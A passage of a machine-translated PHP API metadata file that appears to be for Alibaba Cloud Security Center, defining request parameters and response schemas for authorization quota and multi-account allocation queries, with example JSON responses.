=> true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Structure.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current call request, which is a unique identifier generated by Alibaba Cloud for this request and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****'."\n", ], 'InstanceAuthRange' => [ 'description' => 'Instance range validation', 'type' => 'object', 'properties' => [ 'AntiRansomwareService' => [ 'description' => 'Anti-ransomware service. Values:'."\n" .'- **0**: Not enabled'."\n" .'- **1**: Enabled', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AntiVirusCore' => [ 'description' => 'Anti-virus core count. Values:'."\n" ."\n" .'- **1-2000000000**: Range'."\n" .'- **1**: Step', 'type' => 'string', 'example' => '1-2000000000:1', ], 'AdvancedCount' => [ 'description' => 'Advanced version count. Values:'."\n" ."\n" .'- **1-2000000000**: Range'."\n" .'- **1**: Step', 'type' => 'string', 'example' => '1-2000000000:1', ], 'EnterpriseCount' => [ 'description' => 'Enterprise version count. Range:'."\n" .'- **Value**: 1-2000000000'."\n" .'- **Step**: 1', 'type' => 'string', 'example' => '1-2000000000:1', ], 'ContainerCount' => [ 'description' => 'Flagship version count. Values:'."\n" ."\n" .'- **1-2000000000**: Range'."\n" .'- **1**: Step', 'type' => 'string', 'example' => '1-2000000000:1', ], 'ContainerCore' => [ 'description' => 'Flagship version core count. Values:'."\n" ."\n" .'- **1-2000000000**: Range'."\n" .'- **1**: Step', 'type' => 'string', 'example' => '1-2000000000:1', ], 'RaspCapacity' => [ 'description' => 'Application protection count. Values:'."\n" ."\n" .'- **1-100000000**: Range'."\n" .'- **1**: Step', 'type' => 'string', 'example' => '0-100000000:1', ], 'WebLockCapacity' => [ 'description' => 'Web tamper-proof authorization count. Values:'."\n" ."\n" .'- **1-9999**: Range'."\n" .'- **1**: Step', 'type' => 'string', 'example' => '0-9999:1', ], 'ThreatAnalysisCapacity' => [ 'description' => 'Threat analysis capacity. Values:'."\n" ."\n" .'- **1-9999999999**: Range'."\n" .'- **1000**: Step', 'type' => 'string', 'example' => '0-9999999999:1000', ], 'ThreatAnalysisFlow' => [ 'description' => 'Threat analysis and response log access traffic. Values:'."\n" ."\n" .'- **1-9999999999**: Range'."\n" .'- **100**: Step', 'type' => 'string', 'example' => '0-9999999999:100', ], 'SlsCapacity' => [ 'description' => 'Log storage capacity. Values:'."\n" ."\n" .'- **1-600000000**: Range'."\n" .'- **10**: Step', 'type' => 'string', 'example' => '0-600000000:10', ], 'AntiRansomwareCapacity' => [ 'description' => 'Anti-ransomware capacity. Values:'."\n" ."\n" .'- **1-9000000000**: Range'."\n" .'- **10**: Step', 'type' => 'string', 'example' => '0-9000000000:10', ], 'ImageScanCapacity' => [ 'description' => 'Image scan authorization count. Values:'."\n" ."\n" .'- **1-200000**: Range'."\n" .'- **20**: Step', 'type' => 'string', 'example' => '0-200000:20', ], 'HoneypotCapacity' => [ 'description' => 'Number of authorized honeypots. Value:'."\n" ."\n" .'- **20-500**：Range'."\n" .'- **1**：Step', 'type' => 'string', 'example' => '20-500:1', ], 'CspmCapacity' => [ 'description' => 'Number of cloud platform configuration check scans. Value:'."\n" ."\n" .'- **15000-9999999999**：Range'."\n" .'- **55000**：Step', 'type' => 'string', 'example' => '15000-9999999999:55000', ], 'SdkCapacity' => [ 'description' => 'Number of authorized malicious file detection SDKs. Value:'."\n" ."\n" .'- **10-9999999999**：Range'."\n" .'- **10**：Step', 'type' => 'string', 'example' => '10-9999999999:10', ], ], ], ], ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\\\n\\",\\n \\"InstanceAuthRange\\": {\\n \\"AntiRansomwareService\\": 1,\\n \\"AntiVirusCore\\": \\"1-2000000000:1\\",\\n \\"AdvancedCount\\": \\"1-2000000000:1\\",\\n \\"EnterpriseCount\\": \\"1-2000000000:1\\",\\n \\"ContainerCount\\": \\"1-2000000000:1\\",\\n \\"ContainerCore\\": \\"1-2000000000:1\\",\\n \\"RaspCapacity\\": \\"0-100000000:1\\",\\n \\"WebLockCapacity\\": \\"0-9999:1\\",\\n \\"ThreatAnalysisCapacity\\": \\"0-9999999999:1000\\",\\n \\"ThreatAnalysisFlow\\": \\"0-9999999999:100\\",\\n \\"SlsCapacity\\": \\"0-600000000:10\\",\\n \\"AntiRansomwareCapacity\\": \\"0-9000000000:10\\",\\n \\"ImageScanCapacity\\": \\"0-200000:20\\",\\n \\"HoneypotCapacity\\": \\"20-500:1\\",\\n \\"CspmCapacity\\": \\"15000-9999999999:55000\\",\\n \\"SdkCapacity\\": \\"10-9999999999:10\\"\\n }\\n}","type":"json"}]', 'title' => 'Get Instance Authorization Value Range', 'translator' => 'machine', ], 'ListMultiUserInstances' => [ 'summary' => 'Query Multi-Account Authorization Allocation List', 'path' => '', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'MaxResults', 'in' => 'query', 'schema' => [ 'description' => 'Number of items per page in a paginated query. The maximum value is 100. Range: 10 - 100, default value: 10.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '200', 'minimum' => '1', 'example' => '50', 'default' => '100', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'Used for paginated queries. Leave it empty for the first request, and fill in the NextToken value returned from the previous response for subsequent requests.', 'type' => 'string', 'required' => false, 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAB4SwmEAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM0NzY3YTZjNjI3NjZmNmU3MjcxNjk3NDY5MzY3MjY4****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for the request and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '88F2A6CD-E500-5038-B992-0107B99AA88C', ], 'SaleInstanceList' => [ 'description' => 'Details of member accounts.', 'type' => 'array', 'items' => [ 'description' => 'Details of member accounts.', 'type' => 'object', 'properties' => [ 'AliUid' => [ 'description' => 'UID of the member account.', 'type' => 'integer', 'format' => 'int64', 'example' => '103784262032', ], 'InstanceId' => [ 'description' => 'Cloud Security Center instance ID purchased by the member account.', 'type' => 'string', 'example' => 'api-service-spec', ], 'InstancePurchaseType' => [ 'description' => 'Instance purchase type. Values: '."\n" .'- **0**: Self-purchased.'."\n" .'- **1**: Allocated.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Version' => [ 'description' => 'Version of the Cloud Security Center for the member account. Values: '."\n" .'- **1**: Free Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Anti-Virus Edition '."\n" .'- **7**: Flagship Edition '."\n" .'- **8**: Multiple Versions '."\n" .'- **10**: Only Purchased Value-Added Services', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Status' => [ 'description' => 'Status of the member account instance. Values: '."\n" .'- **1**: Active.'."\n" .'- **2**: Inactive.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SlsCapacity' => [ 'description' => 'Log storage capacity usage of the member account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated log storage capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Used log storage capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'AntiRansomwareCapacity' => [ 'description' => 'Anti-ransomware capacity usage of the member account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated anti-ransomware capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'Used' => [ 'description' => 'Used anti-ransomware capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'RaspCapacity' => [ 'description' => 'Member account RASP (Runtime Application Self-Protection) usage.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated RASP capacity. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Used RASP capacity. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'CspmCapacity' => [ 'description' => 'Member account CSPM (Cloud Security Posture Management) scan usage.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated CSPM scan count. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Used CSPM scan count. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'ThreatAnalysisCapacity' => [ 'description' => 'Member account threat analysis capacity usage.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated threat analysis capacity. Unit: GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Used threat analysis capacity. Unit: GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'ThreatAnalysisFlow' => [ 'description' => 'Member account threat analysis and response log ingestion traffic usage.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated threat analysis and response log ingestion traffic. Unit: GB/day.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Used threat analysis and response log ingestion traffic. Unit: GB/day.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'ImageScanCapacity' => [ 'description' => 'Member account image scanning authorization usage.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated image scanning authorizations.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Used image scanning authorizations.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'WebLockCapacity' => [ 'description' => 'Member account web lock (anti-tampering) authorization usage.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Number of web tamper-proof authorizations allocated.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Number of web tamper-proof authorizations used.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'HoneypotCapacity' => [ 'description' => 'Usage details of honeypot authorizations for the member account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Number of honeypot authorizations allocated.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Number of honeypot authorizations used.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'SdkCapacity' => [ 'description' => 'Usage details of malicious file detection SDK authorizations for the member account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Number of malicious file detection SDK authorizations allocated.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Number of malicious file detection SDK authorizations used.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'VersionSummary' => [ 'description' => 'Authorization usage statistics for the member account.', 'type' => 'array', 'items' => [ 'description' => 'Authorization usage statistics for the member account.', 'type' => 'object', 'properties' => [ 'Version' => [ 'description' => 'Version of the Cloud Security Center for the member account. Values: '."\n" .'- **1**: Free Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Anti-Virus Edition '."\n" .'- **7**: Flagship Edition '."\n" .'- **8**: Multiple Versions '."\n" .'- **10**: Value-Added Services Only', 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'EcsCount' => [ 'description' => 'Usage details of ECS authorizations for the member account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Number of ECS authorizations allocated.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Used' => [ 'description' => 'Number of ECS authorizations used.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Assigned' => [ 'description' => '已分配已购授权台数。', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'CoreCount' => [ 'description' => 'Usage of core authorization for the member account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Allocated number of cores.', 'type' => 'integer', 'format' => 'int64', 'example' => '4', ], 'Used' => [ 'description' => 'Number of cores used.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Assigned' => [ 'description' => 'Assigned number of cores.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'AuthBindType' => [ 'description' => 'Authorization type consumed during binding, with values:'."\n" .'- **ASSET**：Consumes the number of authorized instances'."\n" .'- **CORE**：Consumes the number of authorized cores'."\n" .'- **ASSET_AND_CORE**：Consumes both the number of authorized instances and cores.', 'type' => 'string', 'example' => 'ASSET_AND_CORE', ], ], ], ], 'UserType' => [ 'description' => 'User type. Values:'."\n" .'* **Administrator User**：1'."\n" .'* **Regular User**：2', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], ], 'PageInfo' => [ 'description' => 'Pagination information.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The current page number in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of items to return per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'Total number of items.', 'type' => 'integer', 'format' => 'int32', 'example' => '55', ], 'MaxResults' => [ 'description' => 'The number of items to return in each batch query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1000', ], 'NextToken' => [ 'description' => 'The NextToken value returned when using the NextToken method.', 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'DaInstance' => [ 'description' => 'Details of the administrator account.', 'type' => 'object', 'properties' => [ 'AliUid' => [ 'description' => 'AliUid of the administrator account.', 'type' => 'integer', 'format' => 'int64', 'example' => '1766185894104675', ], 'InstanceId' => [ 'description' => 'Cloud Security Center instance ID purchased by the administrator account.', 'type' => 'string', 'example' => 'i-bp1gmm4pnacse343nqal', ], 'InstancePurchaseType' => [ 'description' => 'Instance purchase type. Values:'."\n" .'- **0**：Self-purchased.'."\n" .'- **1**：Allocated.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Version' => [ 'description' => 'Purchased version of Cloud Security Center. Values: '."\n" .'- **1**：Free Edition '."\n" .'- **3**：Enterprise Edition'."\n" .'- **5**：Advanced Edition'."\n" .'- **6**：Anti-Virus Edition '."\n" .'- **7**：Flagship Edition '."\n" .'- **8**：Multiple Editions '."\n" .'- **10**：Value-Added Services Only', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Status' => [ 'description' => 'Administrator account instance status. Values: '."\n" .'- **1**: Active.'."\n" .'- **2**: Inactive.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SlsCapacity' => [ 'description' => 'Usage and allocation of administrator account log storage capacity.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Administrator account log storage capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '150', ], 'Used' => [ 'description' => 'Used log storage capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '5', ], 'Assigned' => [ 'description' => 'Allocated log storage capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], ], ], 'AntiRansomwareCapacity' => [ 'description' => 'Usage and allocation of administrator account anti-ransomware capacity.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Administrator account anti-ransomware capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '14', ], 'Used' => [ 'description' => 'Used anti-ransomware capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], 'Assigned' => [ 'description' => 'Allocated anti-ransomware capacity, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'RaspCapacity' => [ 'description' => 'Usage and allocation of administrator account RASP (Runtime Application Self-Protection) capacity.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased RASP capacity. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '7', ], 'Used' => [ 'description' => 'Used RASP capacity. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '6', ], 'Assigned' => [ 'description' => 'Allocated RASP capacity. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'CspmCapacity' => [ 'description' => 'Usage and allocation of administrator account CSPM (Cloud Security Posture Management) scan count.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased CSPM scan count. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '180000', ], 'Used' => [ 'description' => 'Used CSPM scan count. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '31569', ], 'Assigned' => [ 'description' => 'Allocated CSPM scan count. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'ThreatAnalysisCapacity' => [ 'description' => 'Usage and allocation of administrator account threat analysis capacity.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased threat analysis capacity. Unit: GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '3000', ], 'Used' => [ 'description' => 'Used threat analysis capacity. Unit: GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '1548', ], 'Assigned' => [ 'description' => 'Assigned threat analysis capacity. Unit: GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'ThreatAnalysisFlow' => [ 'description' => 'Usage and allocation of threat analysis and response log inbound traffic for the administrator account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased threat analysis and response log inbound traffic. Unit: GB/day.', 'type' => 'integer', 'format' => 'int64', 'example' => '300', ], 'Used' => [ 'description' => 'Used threat analysis and response log inbound traffic. Unit: GB/day.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Assigned' => [ 'description' => 'Assigned threat analysis and response log inbound traffic. Unit: GB/day.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'ImageScanCapacity' => [ 'description' => 'Usage and allocation of image scan authorization count for the administrator account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased image scan authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '60', ], 'Used' => [ 'description' => 'Used purchased image scan authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'Assigned' => [ 'description' => 'Assigned image scan authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'WebLockCapacity' => [ 'description' => 'Usage and allocation of web lock (anti-tampering) authorization count for the administrator account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased web lock (anti-tampering) authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '5', ], 'Used' => [ 'description' => 'Used web lock (anti-tampering) authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'Assigned' => [ 'description' => 'Assigned web lock (anti-tampering) authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'HoneypotCapacity' => [ 'description' => 'Usage and allocation of honeypot authorization count for the administrator account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased honeypot authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '45', ], 'Used' => [ 'description' => 'Used honeypot authorization count.', 'type' => 'integer', 'format' => 'int64', 'example' => '9', ], 'Assigned' => [ 'description' => 'Assigned number of honeypot licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'SdkCapacity' => [ 'description' => 'Usage and allocation details of the malicious file detection SDK licenses for the administrator account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased number of malicious file detection SDK licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '50', ], 'Used' => [ 'description' => 'Used number of malicious file detection SDK licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Assigned' => [ 'description' => 'Assigned number of malicious file detection SDK licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], 'VersionSummary' => [ 'description' => 'Authorization usage statistics for the administrator account.', 'type' => 'array', 'items' => [ 'description' => 'Authorization usage statistics for the administrator account.', 'type' => 'object', 'properties' => [ 'Version' => [ 'description' => 'Purchased version of Cloud Security Center. Values: '."\n" .'- **1**: Free Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Antivirus Edition '."\n" .'- **7**: Flagship Edition '."\n" .'- **8**: Multiple Editions '."\n" .'- **10**: Only Value-Added Services Purchased', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'EcsCount' => [ 'description' => 'Usage and allocation details of the ECS instance licenses for the administrator account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased number of ECS instance licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'Used' => [ 'description' => 'Used number of purchased ECS instance licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '14', ], 'Assigned' => [ 'description' => 'Assigned number of purchased ECS instance licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], ], ], 'CoreCount' => [ 'description' => 'Usage and allocation details of the core licenses for the administrator account.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Purchased number of core licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '150', ], 'Used' => [ 'description' => 'Used number of core licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '68', ], 'Assigned' => [ 'description' => 'Assigned number of core licenses.', 'type' => 'integer', 'format' => 'int64', 'example' => '4', ], ], ], 'AuthBindType' => [ 'description' => 'The type of authorization consumed during binding. Values: '."\n" .'- ASSET: consumes the number of authorized instances'."\n" .'- CORE: consumes the number of authorized cores'."\n" .'- ASSET_AND_CORE: consumes both the number of authorized instances and cores', 'type' => 'string', 'example' => 'ASSET_AND_CORE', ], ], ], ], 'UserType' => [ 'description' => 'User type. Values: '."\n" .'* **Administrator User**: 1'."\n" .'* **Regular User**: 2', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"88F2A6CD-E500-5038-B992-0107B99AA88C\\",\\n \\"SaleInstanceList\\": [\\n {\\n \\"AliUid\\": 103784262032,\\n \\"InstanceId\\": \\"api-service-spec\\",\\n \\"InstancePurchaseType\\": 1,\\n \\"Version\\": 3,\\n \\"Status\\": 1,\\n \\"SlsCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"AntiRansomwareCapacity\\": {\\n \\"Count\\": 10,\\n \\"Used\\": 0\\n },\\n \\"RaspCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"CspmCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"ThreatAnalysisCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"ThreatAnalysisFlow\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"ImageScanCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"WebLockCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"HoneypotCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"SdkCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"VersionSummary\\": [\\n {\\n \\"Version\\": 5,\\n \\"EcsCount\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"CoreCount\\": {\\n \\"Count\\": 4,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"AuthBindType\\": \\"ASSET_AND_CORE\\"\\n }\\n ],\\n \\"UserType\\": 2\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"MaxResults\\": 1000,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"DaInstance\\": {\\n \\"AliUid\\": 1766185894104675,\\n \\"InstanceId\\": \\"i-bp1gmm4pnacse343nqal\\",\\n \\"InstancePurchaseType\\": 0,\\n \\"Version\\": 3,\\n \\"Status\\": 1,\\n \\"SlsCapacity\\": {\\n \\"Count\\": 150,\\n \\"Used\\": 5,\\n \\"Assigned\\": 10\\n },\\n \\"AntiRansomwareCapacity\\": {\\n \\"Count\\": 14,\\n \\"Used\\": 2,\\n \\"Assigned\\": 0\\n },\\n \\"RaspCapacity\\": {\\n \\"Count\\": 7,\\n \\"Used\\": 6,\\n \\"Assigned\\": 0\\n },\\n \\"CspmCapacity\\": {\\n \\"Count\\": 180000,\\n \\"Used\\": 31569,\\n \\"Assigned\\": 0\\n },\\n \\"ThreatAnalysisCapacity\\": {\\n \\"Count\\": 3000,\\n \\"Used\\": 1548,\\n \\"Assigned\\": 0\\n },\\n \\"ThreatAnalysisFlow\\": {\\n \\"Count\\": 300,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"ImageScanCapacity\\": {\\n \\"Count\\": 60,\\n \\"Used\\": 1,\\n \\"Assigned\\": 0\\n },\\n \\"WebLockCapacity\\": {\\n \\"Count\\": 5,\\n \\"Used\\": 3,\\n \\"Assigned\\": 0\\n },\\n \\"HoneypotCapacity\\": {\\n \\"Count\\": 45,\\n \\"Used\\": 9,\\n \\"Assigned\\": 0\\n },\\n \\"SdkCapacity\\": {\\n \\"Count\\": 50,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"VersionSummary\\": [\\n {\\n \\"Version\\": 1,\\n \\"EcsCount\\": {\\n \\"Count\\": 20,\\n \\"Used\\": 14,\\n \\"Assigned\\": 3\\n },\\n \\"CoreCount\\": {\\n \\"Count\\": 150,\\n \\"Used\\": 68,\\n \\"Assigned\\": 4\\n },\\n \\"AuthBindType\\": \\"ASSET_AND_CORE\\"\\n }\\n ],\\n \\"UserType\\": 1\\n }\\n}","type":"json"}]', 'title' => 'Query Multi-Account Authorization Allocation List', 'description' => 'You can search for assets by conditions such as the instance ID, instance name, VPC ID, region, and public IP address of the asset. You can also search for assets that meet multiple search conditions by setting the logical relationship between different search conditions.', 'translator' => 'machine', ], 'DescribeCloudVendorProductTemplateConfig' => [ 'summary' => 'Get the cloud product access template for vendors', 'path' => '', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'Cloud asset vendor. Values:'."\n" .'- **CHAITIN**: Chaitin Technology'."\n" .'- **FORTINET**: Fortinet'."\n" .'- **THREATBOOK**: ThreatBook', 'type' => 'string', 'required' => false, 'example' => 'CHAITIN', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Set the language type for request and response messages, default is **zh**. Values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English'."\n" ."\n\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Request return data.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for this request, and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', ], 'Data' => [ 'description' => 'Template configuration. This parameter is a JSON structure that includes the following fields: - **vendors**: A collection of vendor template configuration information. - **vendorType**: Vendor code, **CHAITIN** takes the value **100**, **FORTINET** takes the value **101**, and **THREATBOOK** takes the value **102**. - **vendor**: Vendor. Takes the values **CHAITIN**, **FORTINET**, or **THREATBOOK**. - **displayName**: Display name. Takes the values **Chaitin**, **Fortinet**, or **Threatbook**. - **products**: A list of template configuration information. This parameter is a JSON structure that includes the following fields: - **product**: Product code. When **vendor** is **CHAITIN**, it takes the value **webFirewall**; when **vendor** is **FORTINET**, it takes the value **fortigate**; when **vendor** is **THREATBOOK**, it takes the value **threatIntelligence**. - **displayName**: Product display name. When **vendor** is **CHAITIN**, it takes the value **WAF**; when **vendor** is **FORTINET**, it takes the value **FortiGate Firewall**; when **vendor** is **THREATBOOK**, it takes the value **Threat Intelligence API**. - **description**: Link to the technical support document for the product. - **backendConfig**: A list of API field mapping rules. This parameter is a JSON structure that includes the following fields: - **apiParams**: API field mapping rules. This parameter is a Map structure where the key is the backend field mapping key. The value is a JSON structure that includes the following fields: - **field**: Property key. - **format**: Type of the property value, which can be **text** or **json**. - **fields**: Fields that need to be filled in the template. This parameter is a JSON structure that includes the following fields: - 